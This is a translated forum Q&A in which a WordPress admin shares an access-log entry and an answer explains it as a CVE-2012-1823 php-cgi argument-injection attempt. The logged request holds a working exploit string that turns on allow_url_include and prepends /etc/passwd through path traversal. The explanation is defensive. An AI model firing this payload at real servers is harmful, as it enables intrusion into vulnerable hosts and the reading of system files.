У меня есть сайт WordPress, размещенный на CentOS 6. После просмотра следующего журнала доступа я проверил сервер, все в порядке. Кто-нибудь может объяснить, что этот парень пытается сделать? Получили ли они то, что хотели?
Я отключил allow_url_include и ограничил open_basedir веб-каталогом и tmp (/ etc не указан в пути).
190.26.208.130 - - [05/Sep/2012:21:24:42 -0700] "POST http://my_ip/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n HTTP/1.1" 200 32656 "-" "Mozilla/5.0"
Взгляни на CVE-2012-1823 первый.
Вышеупомянутый URL-адрес декодируется как:
http://my_ip/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
?-d allow_url_include=On
: он пытается добавить дополнительный параметр в вызов php-cgi:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-d foo[=bar] Define INI entry foo with value 'bar'
+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
: затем добавьте его файл в качестве кода для выполнения. Не знаю, почему он использует здесь атаку обхода пути вместо своего кода или php://input
.
-n
в конце, чтобы свести на нет php.ini
:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-n No php.ini file will be used
PS: Не беспокойтесь, если вы не используете PHP как CGI-скрипт.